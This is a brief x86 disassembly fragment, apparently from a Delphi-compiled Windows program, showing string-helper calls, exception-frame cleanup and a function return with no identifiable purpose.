call fcn.0040345c
mov eax, 0x41eb74
mov edx, 0x41634c
call fcn.0040326c
push 0x41641c
push dword [ebp - 0x1c]
push 0x4147a0
push 0x416444
push 0x4147a0
push 0x416454
lea edx, [ebp - 0x670]
mov eax, 0x9f
call fcn.00404950
push dword [ebp - 0x670]
push dword [0x41eb84]
mov eax, 0x41eb84
mov edx, 8
call fcn.0040345c
mov eax, 0x41eb74
mov edx, 0x416468
call fcn.0040326c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4146d0
lea eax, [ebp - 0x670]
mov edx, 0xe
call fcn.0040323c
lea eax, [ebp - 0x62c]
mov edx, 0x1a
call fcn.0040323c
lea eax, [ebp - 0x24]
mov edx, 7
call fcn.0040323c
ret